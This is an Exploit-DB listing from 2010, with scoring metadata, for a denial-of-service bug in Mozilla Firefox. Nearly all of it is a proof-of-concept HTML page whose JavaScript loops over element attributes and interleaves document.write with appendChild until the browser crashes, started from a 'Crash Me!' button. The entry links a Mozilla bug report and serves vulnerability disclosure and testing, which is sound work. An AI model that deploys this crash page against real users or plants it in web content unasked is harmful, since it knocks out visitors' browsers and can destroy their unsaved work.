Lucene search

K
exploitdbDaniel VeditzEDB-ID:15341
HistoryOct 28, 2010 - 12:00 a.m.

Mozilla Firefox - Interleaving 'document.write' / 'appendChild' Denial of Service

2010-10-2800:00:00
Daniel Veditz
www.exploit-db.com
24

AI Score

7.4

Confidence

Low

EPSS

0.97

Percentile

99.8%

Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 
<html><body> 
 <script> 
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array(); 
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }   
    document.body.removeChild(cobj);
    return atts;
  }
 
  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script> 
<button onclick="crashme();">Crash Me!</button> 
</body></html>